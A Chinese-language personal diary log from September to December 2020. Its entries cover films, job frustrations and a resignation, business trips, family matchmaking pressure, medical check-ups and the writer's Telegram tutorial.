沉迷于通过《瑞克和莫蒂》学英语，不能自拔，现在才开始午休。
15:11CT 来找我叙旧，请 Ta 吃了奶茶、生蚝和烧烤，饱腹之后，离别之际，Ta 送我一个 Luffy（海贼王的路飞）的手办，这应该是我的第一个手办。Ta 怀着一个小小的创业梦想，希望能闯出一片天。
22:542020-09-06
￥63.9 买了克里斯托弗·诺兰导演的《信条》（Tenet），11 个钟后（中午 11:20） 开播。看完电影去优衣库买一些衣服，Cool。
00:20刚刚看完《花木兰》（Mulan，2020），推荐指数：★★★☆☆。其中一颗星给刘亦菲，因为我的姐姐把刘亦菲的海报贴在她的房间里，我是从小看着她长大的。
02:34我现在也是有手办的人了：大度（肚）朋友送的 Monkey·D·Luffy。
最近路怒症频发。一台小汽车挡在斑马线上，路上的时候我给车子一脚（没有肉眼可见的损伤），没想到牛高马大司机下车追上来，气冲冲地质问为什么踢他的车，前面的交警则偷偷拔走我的电动摩托车钥匙。我辩解道是因为车子挡住了去路，我的车子只有前刹，如果不用脚顶一下，摩托车就会刮蹭到轿车……车主则跟交警说，过十字路口时，开到一半变红灯，只好卡在人行道的中间（Bullshit）……大概僵持一分钟后，交警见车子完好无损，就把车钥匙还给我了。真是刺激，我还想着干一架，发泄一下呢。
11:00《信条》太烧脑了。
去优衣库花 ￥199 买了一条短裤，但是 165/72A 的尺码太紧了，所以我要把肚腩和大腿肥肉「消灭」掉。
14:21我一直很讨厌写作文，考试作文都非常探路。当我从大三开始不为考试写作，为自我表达而执笔，一切就非常自然。
《信条》太难理解了，研究着研究着就睡着了。这样的事，今晚发生了三次。
小时候我在电视上看过一部电影，讲述只能生活在水上的末日世界。我特别想重温一遍，今天终于知道这部电影的名字——《未来水世界》。
2020-09-07
新的一周，不能颓废。
2020-09-08
摩托车钥匙不知道丢在那里了，这次不走运，没找到。
18:302020-09-09
午餐时间突然下了暴雨，我被困在就餐路上——保安室。
12:34穷的时候要学会断舍离：
- 断绝不需要的东西
- 舍去多余的事物
- 脱离对物品的执着
2020-09-10
用一根掉线连接同事 CCX 的摩托车和我的摩托车，然后让他带我去维修店。更换车锁，花了 ￥60。
2020-09-11
一根鼻毛从左鼻孔里长出来，任尔上下左右扣，咬定鼻腔不放松。
今天提前半个钟下班，去深圳海岸城参加高二（三）同学的聚餐活动：
- CYR：还是喜欢抓头发，但自信了许多。
- LRX：冰冰有礼的艺术理工男。
- ZHT：长胖了，长痘了。
- ZYH：喋喋不休地饭桌主持人。
- ZZL：一谈及他的恋爱往事，便缄口不言。
2020-09-12
每次看到那些闯红灯的人，我都觉得 Ta 们死不足惜。但如果是外卖骑手，我的观点又发生了变化。这个时候，我的逻辑无法自洽。
拒绝了 JYF 妹子的逛街邀请，有点对不住她。
谢谢我们的形象顾问老师 LS ，你是 ZZL 和我的眼，带我们领略穿搭的奥秘（￥1720.3）：
- 无印良品 | 平纹灰色衬衫（170/92A）：￥119.05
- 无印良品 | 天竺编织短袖深米色 T 恤衫（170/92A）：￥99.9
- 无印良品 | 牛津女士浅米色立领衬衫（165/88A）：￥146.95
- SELECTED | 商务休闲浅橄榄色长裤（175/80A）：￥352
- ZIOZIA | 黑色休闲裤（175/84A）裤长修改为 93 mm：￥798
- 热风 | 系带休闲白色布鞋（41）：￥204.4
2020-09-13
一边听喜欢的播客（Podcast），一边减衣服的吊牌，这一刻，让心里好满。
00:12为了学习正确的拼音，我很喜欢查词典。一些音节迫于「约定俗成」的压力，被迫失节（失去拼音的气节），如「说服」从 shuì fú 改为 shuō fú。但是转念一想，语言是为交流服务的，如果大部分人都错了，那就是对的，这样才不会阻碍交流。譬如繁体中文变成简体中文，可能是为了方便书写，利于知识的传播，虽然有些繁体字更能提现汉字的博大精深，例如「愛」。
01:222020-09-14
虽然在职场中要多多帮助同事，但是如果长时间无偿付出，且不能提高自身技能，那就不能继续当老好人。
23:002020-09-15
第二次（也许是第三次）看《盗梦空间》（Inception，2010），这次终于把剧情记住了。
11:419 月 6 日看了诺兰的电影《信条》，找了很多资料辅助理解剧情，包括图文、视频、播客等，加上今天重温《盗梦空间》，我还是没搞懂这部烧脑片。
🚨 剧透警告，谨慎下滑 ⚠️
比未来更未来的人，会知道计划失败，难道不会再派一波来自更远未来的人，去阻击信条组织的行动……于是就陷入了没有止境的时间钳行战术了。
Damn it, I'm so confused.
好久没做饭，今天根据仅有的食材（腊肠、眉豆、香菇、萝卜干）做了什锦煲仔饭。
19:02把无意义的人生消耗在有价值的光影里。by 奇妙店台
《蝙蝠侠：侠影之谜》（Batman Begins，2005）：
It's not who you are underneath, it's what you do that defines you. 你真正是谁并不重要，重要的是你的所做所为。
Why do we fall? So that we can learn to pick ourselves up. 我们为什么会跌倒？是为了学会爬起来。
2020-09-16
Why's he running? Because we have to chase him. 他为什么要跑，因为我们要「追」他。by《蝙蝠侠：黑暗骑士》（The Dark Knight，2008）
2020-09-17
几年前，即刻 app 氛围最好的时候，评论达人七个梦加我微信，极力推荐我在 Android 手机上使用开源的 AntennaPod 听播客。因为没找到喜欢听的节目，所以这个爱好就没有养成。
我在办公室还「养」了一只老鼠 🐭，它通过一种古老的语言——咬痕文字，向我传达信息：鼠年吉祥。
我很喜欢在下班回家路上听「故事FM」，当主播说出「我们下期再见」时，我也刚好到家了。
18:452020-09-18
笔记本电脑的充电器没有带回来，周末又得堕落了。
最近经常会思考为什么我要做老好人，「贱卖」自己，领着底薪，却什么活都得揽下来：采购、设计、网站、普工、前台、营销……
2020-09-19
深夜收到某位读者的支付宝赞赏（￥2），提醒我该更新文章了。
01:23带狗子去公司拿笔记本电脑的充电器，没想到中途他会跳车，翻了几个跟斗，幸好没摔着。
11:49tCT 买了 GoPro 9，我乘车一个钟前去协助拍摄开箱视频。雨很大，相机很复杂，但是我们很有耐心，咬牙拍完了，接下来就要学习如何用剪辑拯救废片。
一个连录制按钮都不知道的人，正在学习如何用佳能 EOS 650D 拍 GoPro HERO9 Black（一款运动摄影机）。
2020-09-20
真的一滴都不剩了。
虽然世界在资本的驱动下，变得充满铜臭味，失去了人类该有真诚、友善和包容，但总有一小部分人会为了自己心中的理想世界去打拼。有幸能用上 Telegram，我和你一样，满生欢喜。
打了篮球很累，没洗澡，光溜溜地躺在床上，设置了一个半个钟的倒计时。时间到了，关了继续睡。又到了，再睡一会。接着，天就亮了。洗个冷水澡，遛狗，上班。
2020-09-21
23:00 洗澡前，练一下散打，维持身体机能。
2020-09-22
在网络流行语的冲击下，我们的表达变得单一乏味，缺少中文的韵味和灵动。夸人除了 666 和厉害了，然后就找不出其它赞美的词语了。
2020-09-23
又一次没洗澡没刷牙，直接睡，本来打算是睡半个钟。
使用 Telegram 是判定对方能否跟上开放互联网的标准之一。
东方航空 MU2888（深圳宝安到南京禄口）从 17:55 延误至 20:58。前往滑道时又天降小雨，偶尔能看到几道鬼鬼祟祟的闪电。
21:52 雨势渐大，返回停机坪等待。漫漫长夜，不知道几时才可以离开地球表面。
延误 5 小时 29 分，已到达微信微保航延险 3 小时的要求，自动理赔 ￥6.66。我没有主动提交信息理赔，保险公司也知道我买了机票，所以我们暴露在没有隐私的世界。
23:25 成功起飞，钻进夜空，伴随着小孩的哭闹声。
2020-09-24
01:08 返回地表。
飞机上居然可以吃到热乎乎的牛肉土豆玉米饭，但是吃完热食我才看到凉拌木耳。
难道今晚要睡在飞机上，这样就不用住酒店，又省了一笔钱。老天爷真是用心良苦了。
💡 由此得到一个教训，出行前要关注天气情况，或者找个好日子提前出行，亦或是改乘高铁 🚄。
乘坐飞机时的注意事项：
- 进入飞机后，不能用移动电源给手机充电。
- 飞机起飞或者降落时，不能戴耳机。意味着不能看电影，所以还是要准备单机游戏、电子书或者纸质书（夜间飞行看不了）。
01:45 乘坐机场大巴前往南京火车站。
02:40 到达南京火车站，进站体验差，对行李箱不友好，垃圾随意丢弃在候车室的座椅上。
05:02 到达无锡火车站，出站体验更差，行李得上台阶。车站旁边的麦当劳很脏，酒店很差很吵，道路规划拉拉杂杂。
跟着一位抠门的老板，既然去别的城市了，还想吃麦当劳。拖着行李箱走了大约 1 ㎞，老板找到肯德基。早餐三个人分一个月饼。
2020-09-25
终于结束无聊的会议了。
2020-09-26
我可能是讨好型人格。
我就是特别爱较真，讨厌虚假，重客观事实与科学道理。
我追求真善美，但是社会充满假丑恶。
我讨厌无锡和南京的交通。
王阿姨，我是叮当的主人小钟。谢谢你对叮当的照顾！本来预计今晚带叮当回来的，但我回到深圳已是半夜，不如在明天早上七点多碰头吧。辛苦了。
天气晴朗，应该可以准时从无锡起飞。
19:38 中国南方航空 CZ5338 失重成功。
飞机餐是热乎乎的鲜汁大肉包，不好吃。
21:31 着陆，刚看看完电影《普罗米修斯》（Prometheus，2012）。
2020-09-27
又没有洗澡，没有刷牙，没有晒衣服，直接躺在床上睡着了，真是一个臭男人。
07:27回个家还要看黄历，29 号诸事不宜。
老板不同意提前请假回家，纵使我的工作有电脑和网络就可以进行，看来他是等我把他炒了。
23:202020-09-28
小时候，我搜索「人体艺术」来解决人体需求。
同一个地点，又被交警抓到走机动车道，听《瑞克和莫蒂》太入神，罚款 ￥50。
08:03炒出来的快餐才是有灵魂的。
12:21一天，一辆车挡在人行道，我过去就是（轻轻）一脚，然后一个牛高马大的人下来唬我，但是我不太怕，我急需他给我一拳，然后我就可以正当防卫（学武多年，从未用上）。然后交警过来解围，见车尾没有凹陷，我也便捷要是我不用脚顶开车子，我就会撞上去，当时行人也不少。过一会交警就放我走了。
2020-09-29
公司发了 ￥100 的节日慰问红包。
17:222020-09-30
刚刚约到了 10-01 00:00 的顺风车，总里程 350 km，拼车费 ￥211.5，不知道要堵几个钟才能到老家。
不慌，我带了：
- 4 个苹果
- 3 瓶牛奶
- 1 个蛋糕
- 0.5 个柚子
2020-10
2020-10-01
顺风车出发。
00:15启用低速模式，不上高速。
到家了。
12:28我在微信教人翻墙一年多了，怕被封，所有一直找方法导出全部微信个人数据，最后无疾而终。
我在微信联系人的备注里，随手记了很多信息，例如怎么认识，Ta 的研究领域，如果被封，难受极了。
羞答答的月亮，譬如我们隐忍的相思情。
21:26我现在比较刚硬。如果对方过于无理，我就说我算半个大 V，我全程录音了（这是真的，安卓手机可以自动通话录音），让对方的公关部门准备好稿子擦屁股吧。
母亲早早为我在三楼铺好了床和小风扇。我在一楼刷了牙，上到二楼，父亲为我准备了枕头套和蚊香。父亲的体贴入微，让我很感动。接着愧疚感随之而来：
- 高中没有好好高考
- 大学荒废度日
- 工作换来换去
我只顾着自己爽，追求人生的意义，却忘了一直在背后默默支持我的人。我应该把工作稳定下来，最起码提高自己的收入水平，不说改善父母的物质生活水平，最起码让父母觉得我是可以自己独立且体面的活下去，而不是像 Ta 们以前那样过得那么拮据。
00:052020-10-02
尝试饭前漱口，饭后刷牙。
09:07神父，我有罪。今天砍了两棵不思进取（不结果）的栗子树，罚我今晚吃一盆炒石螺吧，吃到吐的那种。
啊。一个大学六岁的小孩闹着回家，父亲开玩笑说要把她卖掉。小女孩没有停声，嘶吼道：「你才应该卖掉，我要把你杀了！」
我也有旺盛的表达欲，但是零散的思考我会写在日志里，生怕给读者制造信息垃圾。所以我的博客教程类文章居多，因为我在世俗意义上是一个极其失败的 Loser，这样我写出来的文章是没有说服力。
2020-10-03
越长大，越难从生日中获得纯粹的期待和满足。送礼（包括送祝福）的人千思万虑，收礼的人不知如何体面的回应。根据我的观察，孩子上到三年级，过生日时将会面临这样的社交困境。
几个月前，我发现轻芒阅读无法订阅庭说的 RSS，我向创始人俊煜求证，他说确实无法订阅被墙的内容。几天前，我也在 All About RSS 的群组提出了和 Simon 一样的想法：任意这个词是不准确的。综上，轻芒阅读不会成为我的主力 RSS 阅读器，所以只是在群里吆喝了一下。不过也只能怪中国特色，（言论）稳定，胜过一切。
捕鹅者说：钟公爱鹅，丰美甘甜，是食中异品也。葛州有姥养鹅，善鸣好动，纵之池中，求食未能得。昱日，遂携魔爪（zhǎo）近之，鹅闻钟公将至，6无可遁形，坐以待之。
无用但有趣的冷知识：“鹅”的异体字有“鵝”“䳘”“鵞”“䳗”，是唯一能够上下左右变换构件位置而不改变意义的汉字。
2020-10-04
出国计划，路漫漫其修远兮，吾将上下而求索。
2020-10-05
七点多起床，上山摘板栗。我在树上摇，母亲在树下捡。要是我会挣大钱，母亲就不必如此劳累了。
10:282020-10-06
出发，返回深圳。
12:20从前，动物会说话，河流会唱歌，每次远征都值得探索。
你对世界越好奇，世界认为你越有趣。
回到深圳了，一个无处安放灵魂的城市。
21:22掏耳朵的时候不小心把棉棒捅太深了，你听到微动被触发，眼前出现了一个菜单，上面写着「设置」。
2020-10-07
不想上班，不想工作。
完善《电报新手教程》，观看《异性 2》。
2020-10-08
人生的意义是什么？这个问题困扰很久了，也许没有意义，只要多做有意义的事情即可。
做了饭，又忘记带到公司来。
11:17应该成为专才还是通才？
AI 时代，人类将面临的最大考验并非是失去工作，而是失去生活的意义。by 李开复
刚开始写作，都会怀疑自己写得不好，但是不必灰心，笔耕不辍，一定会有进步。我就是一个例子。我一直很讨厌写作文，直到 2016 开始为自己写作，表达能力才慢慢走了提升。
我现在做采购、网站搭建、网络推广、助理硬件工程师、打印机调试员、前台、电话接线员、同事儿子的家教、文案审查员、生产线普工……简称首席打杂官（CDO，Chief Dogsbody Offier）。不过只领到一份微博的薪水（￥5000），家人让我别这么贱卖自己，纵使老板是亲姐夫。
我要多挣一点钱，多一点选择自由，例如不上班一阵子。
我会尽量保持友善，不过生气时也有口癖，例如「干」、「Fuck」等。
2020-10-09
中年以后的男人，时常会觉得孤独，因为他一睁开眼睛，周围都是要依靠他的人，却没有他可以依靠的人。by 张爱玲 《半生缘》
2020-10-10
公司放假 6 天，我据理力争，按照法定放 8 天。
把剩下的栗子 🌰 寄给深圳的主播网友 Stella 了，听到她说很粉很好吃，我就心满意足了。
2020-10-11
博客托管服务器从 Netlify 切换到 Vercel。
老友 WYR 来找我，付了我 ￥400 的 Google 检索费。
我的第一份兼职也是在餐饮业，那时第一次站一天，晚上回去腿特别疼。
第二次在 V2EX 发帖（第一次是问 libev 怎么读），目前 103 个回复，碰撞出不少火花。
V2EX 不能像 Reddit 那样引用回复，那么「盖楼」时，就不能针对回复。
向两个社区自荐过 Telgram Tutorial ：知乎 + V2EX，自卖自夸，挺难为情的。接下来就交给自然流量了，希望 Telegram 越来越好用，越来越多人用。
2020-10-12
好困，学一会儿英语，就睡了。
22:492020-10-13
给母亲 ZFX 的小米综合意外险续保了，一年 ￥299，最高陪 100 万。和我给父亲 ZQJ 买的意外险是一样的。
21:002020-10-14
近几天都是 23:00 前上床。
2020-10-15
一位从 Telegram 上认识读者，引荐我加入 Ta 们的创业公司。
2020-10-16
不配合的供应商，乱七八糟的工作内容，I am fucked.
2020-10-17
前往 CT 家拿 GoPro Hero9 Black。
好久没做梦，一做就是噩梦：一个小孩像我扔来了菜刀。
16:10与网友 Leon 第一次会面失败。
2020-10-18
与 Leon 会面成功。
2020-10-19
3 双袜子不干，穿鞋不穿袜子， That's weird.
08:02聪明、正直、有钱，三者不能同时兼具。by 扫地僧 Je main
想咨询母亲南瓜 🎃 怎么煮？话题又一次不可避免得扯淡人生大事上：
- 考个公务员，稳定，找对象也抬得起头。
- 人生意义不就是成家生子吗？
- 年龄不等人。
父母的牵挂，就是我最大的忧虑。我可以接受孤独终老，碌碌无为，但是父母觉得你这是「白读书」。
2020-10-20
套上被芯，今晚开始不挨冻。
上幼儿园的外甥找我玩 Minecraft（我的世界），挖到 5 颗钻石 💎 后，我便一发不可收拾，迟迟不愿意关闭游戏。
2020-10-21
身体健全的年轻工人，尤其是年轻男性，如果不受汽车、房子、工作和家庭的束缚，就是对政治稳定的威胁。 by 王小伟
2020-10-21 13:22 收到
**坤的 ￥10 赞赏：遇见同类真好！我认输，开始洗热水澡了。
根据一个中国厨师的实验表明，眉豆（短豇豆）在电饭煲里是煮不熟的（和饭一起煮）。
2020-10-22
电脑的休眠模式是一个不错的功能，下次开机后，微信不用重新登录，没看完的电影也可以接着看。
2020-10-23
好久没加班到这么晚了。
20:17能让我热泪盈眶的时刻不多：
- 切洋葱的时候
- 看韩国剧情片的时候
- 听「故事FM」的时候
2020-10-24
我不能总去同一家餐馆吃饭，人生苦短，要尝试不同的味道。
19:112020-10-25
好久没睡懒觉了。
09:162020-10-26
每天要思考十遍，我为什么要工作？
2020-10-27
熬夜了。
01:17为什么机场上这么多卖衣服的？
18:15中国东方航空 MU2868 航班起飞 🛫，延误 20 分钟。坐我旁边的男士，忽然戴起手套，一边吮吸手上的蘸酱，一边旁若无人地啃起烧鸡。这一刻，我好想把他从飞机上扔下去。
20:07落地。2020-10-28
对 PS 老板的不满：
- 22:00 到展馆，老板却辩解说是助理（特指我？）订错了机票，明明是老板自己买的机票。
- 「爱干净」，不使用酒店的一次性日用品，自己却把臭袜子放床上。
- 不肯打车，选择乘地铁 🚇，全程需要 40 分钟（走路 🚶 加起来有 30 分钟），最后迟到 20 分钟。
- 我明明没喝白酒，却在群里跟别人说带我出来喝酒。
- 因为双床房的费用价涨到了 ￥190，老板把旅店调到 6 km 外的，房型变成家庭套房（￥199），三个大男人两张床，今晚我的呼噜声要大一点。到达展馆后，我们迟到了一个钟。
- 叫员工全名，提了意见也不改口。
2020-10-29
穿鞋有跟的廉价皮鞋 👞 走了一天，腰酸脚 🦶痛，今天就穿运动鞋好了。
2020-10-30
白头发都长到头顶了。
夜游秦淮河，偶遇金陵小野猫 🐱。上前逗之，便扑我怀里，发出咕噜咕噜的陶醉声。虽小黄猫没有饿得瘦骨嶙峋，但我还是去 LAWSON 便利店给猫咪买了吃的。回到河边，只见一位阿姨已在地上铺好了猫粮，小黄猫和另外三只流浪猫正在享用晚餐。经过一番攀谈，得知这位阿姨每晚都会过来喂流浪猫，有时还会带点猫罐头 🥫 改善一下伙食。
终于向老板提出了辞职申请。
2020-10-31
吃坏肚子了。
人来到这世上就是来受苦的，但是既然来了，就好好活。by 李子柒
20:35 深圳东海航空 DZ6258 航班起飞 🛫，第一次提前离地（12 分钟），第一次旁边坐的是漂亮姑娘。
飞机餐是一小包 15 g 的淮盐花生 🥜。
22:21 落地，比预计早了 18 分钟。
下午吃了南京的「小郑酥烧饼」，现在肚子又闹了。
2020-11
2020-11-01
半夜洗澡时，不能听 广西吴恩师 翻唱苦情歌，因为我会跟着他和，违反《中华人民共和国环境噪声污染防治法》。
02:00域名 tingtalk.me 第三年的续费价格是 13.79 美元（92.27 人民币）。
从 2020-02-15 至 2020-10-2 从博客共收到 ￥180.33 赞赏金。感谢各位读者的支持！
2020-11-02
连同事都开始直呼我的全名了，我在公司的地位实在太卑微了。
工作尽是杂事。
2020-11-03
沉迷在我的世界（Minecraft）。
00:48老板在招人了，交接完就可以离开这个烂摊子了，好开心。
11:44近期我一直给自己鼓劲，趁年轻，多造作。成功只是偶然，失败才是常态，没什么好怕的。
15:32我在开电动摩托车的时候用耳塞式耳机听播客，虽然能听到汽笛声，但这样还是很危险。不过我不在乎，当下的欢愉是苟且存世的兴奋剂。
2020-11-04
父亲让我给他买一个台称，能撑 150 kg 的那种。
2020-11-05
花 ¥31.85 买了独立立子的 商业记者的八堂写作课。在我心中，还潜藏着一个做自由撰稿人的梦想。
作者说到：
- 真诚是最重要的品质。
- 坚持是最大的天赋。
- 对不可改变的事要学会放弃。
- 你得清楚自己是为了实现什么目标，为了实现这个目标，你得知道自己要做什么，你还得知道自己不做什么。
- 我们不会关注活得称心如意的人，你会好奇不如意的人到底是怎么克服困难、逆转人生的，或许还希望从 Ta 身上学到某些品质。而你只能从如意的人的身上只能学到下辈子要投好胎，根本没办法跟 Ta 共情。
花了半个多钟看完了 商业记者的八堂写作课，感觉教程写得不够翔实，仅仅是在 作为一名商业科技记者，这是我的处理资料、突破采访和长文写作的心得 的基础上，稍微拓展了一下（部分章节过于简短）。可能是被郝海龙老师的 英语自学手册 惯坏了，总是期待付费内容都是保姆级的文章。
今天不做饭，回来太饿了，试试脆皮粉条煎饺。
母亲吵着让我去考公务员，母亲劝说失败，便主动挂机了。
又花了 ¥1 买了涵柏的 人人都用得上的写作课。
23:522020-11-06
挂了蚊帐，每天早上起来，还是有不少吸满血的蚊子 🦟。我小心翼翼用电蚊拍把它们捕捉，然后作为两条斗鱼的早餐。
2020-11-07
很久没有生病 😷 了，今晚开始轻微发烧 🤒。
脑袋很沉，眼睛胀痛，腰酸，浑身无力，躺在床上看了一天的《后翼弃兵》。
外甥养了 3 只小仓鼠。
寿命在 18 个月至 24 月之间，也有特别例子，能养到两年以上。
仓鼠视力不佳，它们都是近视并且色盲的，只能分辨黑白。
2020-11-08
晚上 12 点前睡觉，白天精神特别充足。
2020-11-09
18:00 下班。
18:30 象征性加班结束，骑车 🛵 回家。
19:30 买菜做饭。
20:30 吃完饭，不想学习，继续看下饭视频。
21:00 Learn English with Rick and Morty.
22:00 出门遛狗半个钟。
22:30 洗碗，洗澡。
23:00 想学剪辑视频，但充足的睡眠好像更重要。
00:00 进入梦乡。2020-11-10
小时候我们词不达意，长大后我们言不由衷。
P 总，晚上好。感谢您的培养，但是，我的成长速度跟不上公司的发展速度。不过没关系，这颗「绊脚石」会在几周后移除（月底前离开公司）。请裴总安排人员接替我的工作。再次感谢。
20:032020-11-11
白天工作没有偷懒，下班回到家就不想学习，看起了老电影《末代皇帝》。
双十一就买了该买的东西：纯牛奶、抽纸、棉签。
Rick and Morty 导出音频，放在 Telegram 的私人频道上，做听力练习。
2020-11-12
昨天晚上 10:30 在京东买了 200 支棉签，今天晚上 7:30 就到手了。
问了一下京东快递员，他说今天 5 点开始送，今晚要搞到 12 点。
2020-11-13
少壮不努力，快餐吃到腻。
自从即刻 app 的主题追踪被「不可抗力」砍掉之后，我就很难说服自己把即刻 app 放在手机主屏幕的 Dock 栏里。
Web 是互联的，app 是隔裂的。我决定把碎碎念发表在 Twitter 上（同步备份在博客日志里）。既不用自我审查，又能让这些小心思，在开放的赛博世界里，连接更多自由的灵魂。
2020-11-14
老爸又向我要照片，拿去相亲？
13:31废柴联盟终身荣誉会员，躺在床上看了一季（10 集）的科幻片《异星灾变》。
2020-11-15
我过着一种不正确的生活。我什么也不做，并且睡得很晚。 by 哈尔姆斯 《日记》
父母发来第二个相亲对象的照片，但我并不在意，因为在美颜软件的加持下，没有参考价值。当然，我最看重的还是心地善良，以及保持学习的心态。
她来自同一个镇，符合父母给我定下的择偶标准：不找外地媳妇。殊不知，杂交才能丰富生物多样性，以此获得种族优质。
19:272020-11-16
父亲又打电话过来教我如何谈恋爱。
20:52I'm not a good worker, I always bitch about my boss.
2020-11-17
提交了辞职申请书。2020 年谈了一场半年的恋爱，做了一份半年的工作。
2020-11-18
老妈子今天从老家下来深圳，给我哥带两个孩子。
天气突然变得非常闷热。
2020-11-19
刚刚花了一个钟，帮助一位四川外国语大学的女大学生突破 GFW。
懒柿子，一种通过石灰水脱涩的柿子。
回到老家，我经常被亲戚邻里投诉不太懂人情世故。一个原因是我从四年级到高三都是在隔壁市读书，住在学校里面。一般只有寒暑假才会回到老家，所以那些亲戚邻里都不是特别的了解。
白花花的异性大腿，忍不住多看几眼。
过你想象的生活，不要在生活里想象。
毕业三年，我换了 6 份工作，在多个行业反复尝试，下个月是第 7 份工作。大部分工作的门槛都不高，换行换岗并不是一件多难的事。
2020-11-20
今天的手游，即便是小游戏，都调用了太多不必要的图形性能。我怀念当年那些基于玩法，画面更朴素的游戏，比如涂鸦跳跃或水果忍者。by Jesse Chan
高中时，我在诺基亚手机里，下载了移植版的涂鸦跳跃，用按键也可以玩重力感应的游戏，真是开心坏了。
和 CT、LLH、ZXT 租了一辆车，从深圳出发，前往阳春，参加 LC 的婚礼。
2020-11-21
前往阳江海陵岛，吃了一顿超值的海鲜大餐。喝了不少洋酒（人头马），脸不红，心不跳，感觉良好。
2020-11-22
德州扑克，最终输了 ￥152。
没有等来日出，雾气太大了。
06:53五点钟睡，六点半爬起来看日出。上一次逐日应该是在八年前的高中二年级。
开始返深。
13:35到达深圳。
20:35父亲很少跟我谈工作，今天跟我说要谦卑求教。
20:552020-11-23
母亲打电话来了，问我是否要煮我的饭。这让我非常感动，也让我非常内疚，没啥可以报答父母。
你不应该为了「成为一名作家」而写作，而是应该因为「发现了有趣的东西想要分享」来写作。by Jiayuan Thoughts
我帮亲友代交了 5 份城乡居民养老保险（￥180/年），因为 Ta 们不懂得用手机如何操作。
2020-11-24
这个月没怎么煮饭，电费少了很多。
2020-11-25
吃得好饱，好难受。
2020-11-26
老妈子每到下午 17:00，就提醒我记得回家吃饭。
2020-11-27
在公司的最后一天午休，做噩梦了。
下周一（11 月 30 日）过来上班好了，交接清楚一些。
2020-11-28
5 岁的外甥 PY 要我去他家，然后送他 10 块钱（纸币），因为他想买火影忍者的卡片。
左边的磨牙有时会疼，于是今天去看牙医，这也是我第一次看牙医，选择了公立医院。
医院测量体温的工具换成了水银体温计，放在腋下 7 分钟过后，我的体温是 36.5 °C。
做完咬合测试后，牙医让我去缴费拍片子：
- 数字 X 光（DR）：￥60
- 曲面体层摄影（颌全景摄影）：￥30
- 咬合检查：￥30
- 口腔一次性卫生材料：￥1.7
总计 ￥121.7，从（一档）医疗卡个人账户里中扣除。
医生看完片子后，说我的牙齿问题是「牙釉质发育不全」，所以有时会轻微牙疼。左边磨牙上下各一颗出现了这种症状，可以选择补一补，费用大概是一颗三百块钱左右。
但是补牙之前，需要做新冠肺炎的核酸检测，费用是 ￥75.98。
另外，从片子上可以看出，我的智齿早已长出来了，但是它们比较乖，不碍事，可以选择不拔。
午休醒来，左耳朵 👂 听力减半。
听力恢复了。健康的身体真的太重要了。
吃了一包泡椒凤爪，很辣，很爽。
2020-11-29
花 108 元买了一个机械键盘（雷柏 V5000PRO 青轴），提高打字体验。
2020-11-30
初中学生要考青少年普法知识，刚刚帮老板娘的儿子做了几份试卷，都在 80 分左右，看来我当年上政治课时没打瞌睡。
那些题目在初中阶段根本就理解不了，这完全是没有意义的填鸭教育。
现代人为什么热衷于获取「二手知识」？事实上，任何深刻有趣的东西，都是需要花很长时间的。
取法于上，仅得为中，取法于中，故为其下。by 唐太宗《帝范》卷四
取上等的为准则，也只能得到中等的。指做事要高标准严要求。求知是一个漫长且艰辛的过程。这句古语对学子的启示在于，只有放宽视野，定高目标，才能取得令自己满意的成果。
理想美好但不可能，现实残酷但必须接受，虽然这已经成为一个压迫性的信念。但，黑夜已深，白昼将近。我们就当脱去暗昧的行为，带上光明的兵器。行事为人要端正，好像行在白昼。超越输赢之上，是个广阔得多的世界。by 李厚辰
希望坚果手机不仅活着，生猛且坚强。by 彭林
2020-12
2020-12-01
昨晚遗精了。
06:30 起床，前往新的工作地点：
- 驾车 🚗 大概 28 km（一小时）
- 17 个地铁 🚇 站 + 5 个公交站 🚌（换乘 2 次）
到达公司。
08:41美团外卖的订单被莫名其妙的取消了，只好下楼来吃梅县腌面。
两年没体检，周六跟老妈一起去体检，费用是 ￥750/人。
下班。
19:302020-12-02
中午吃肠粉，加蛋加肉加油条。
我害怕被宏⼤的叙事观感染，我害怕被时代的浪潮推着上岸，我不⽢⼼⾃⼰或许只能成为⼀个拥有专业技能但是没有独立思考的螺丝钉。by Arthur
2020-12-03
办公室突然做了一个决定，一起去吃了自助烤肉（￥63.9），说走就走。
上更远的班，拿更低的工资，体验更困苦的生活。
2020-12-04
我的起床闹钟被谁删了？！
07:29没有迟到。
2020-12-05
左耳朵听力骤降，医生告诉我少用耳机，不挖耳屎。
加了腰部 CT（￥343.2）。
2020-12-06
相亲失败。
2020-12-07
我对纷扰的生意场，感到厌恶。
2020-12-08
早点休息，才是正事。
2020-12-09
👂 耳朵疼，听不了播客。
2020-12-10
吃太多槟榔会得口腔癌，为什么槟榔相关的广告却不降反升？例如在公交车上。
看着镜子前的自己，脸型发胖，白发增多，眼袋沉重，胡子拉渣……连我自己都讨厌，怎么可能有异性喜欢我？！
症状 建议 双侧鼓膜增厚 少挖耳屎，少听播客 肾结晶 运动后及时补充液体 颈椎骨质增生
颈椎生理曲度变直少低头手机和电脑 腰椎间盘膨出和突出 适度活动腰部 幽门螺杆菌
检测（呼气试验）阳性
抗体阳性复查 尿酸增高 少食高嘌呤食物 乙肝两对半全阴性 接种乙肝疫苗 牙列拥挤不齐 不用处理 幽门螺杆菌抗体（Hp-Ab）正常参考值是 0 AU/mL 至 15 AU/mL，我的测量结果是 53 AU/mL，怪不得近几个月还没到吃饭时间，就常常会感到饥饿。这是一个不严谨的推论。
放弃应该放弃的，是为了不放弃那些不想放弃的。by 落日一周间
如果一个人只拥有去做某事的能力，缺少不做某事的能力，那么他将陷入致命的过度活跃之中。如果一个人只有去思考的能力，那么思想将迷失在一系列无止境的对象中。by 《倦怠社会》
很多时候，我会陷入一种虚假的学习状态之中，醉心编排出精美的笔记，却没有实践。
2020-12-11
地铁到站了，空出一个位置，我并不会立刻去抢占，而是等半分钟，看看有没有更需要坐下的人。
「爱」是如同野猪将它的獠牙刺进美少年阿多尼斯的身体之中，如同法语中 Je tombe amoureux 与英文的 Fall in love 中的跌倒之意，那种冲击性地爱情是自我的坠落与消失，即「我无法保持住自我」：在费奇诺看来，爱情是“所有瘟疫中最严重的一种”，它能直接导致“变形”，让一个人抛弃他的本性，教他“容纳陌生的东西”。by 没有我 | 落日一周间
2020-12-12
为了迎接 2021 年末上映的《黑客帝国 4 》，这几晚重温了前三部，因为剧情都忘光了。
01:17父亲发了第三个相亲对象的照片给我，身高 170 cm 以上，在房地产公司上班。
13:44父亲觉得太高了，生辰八字不太合，给我换了第四个相亲对象，跟我身高相关，从事财务会计工作。
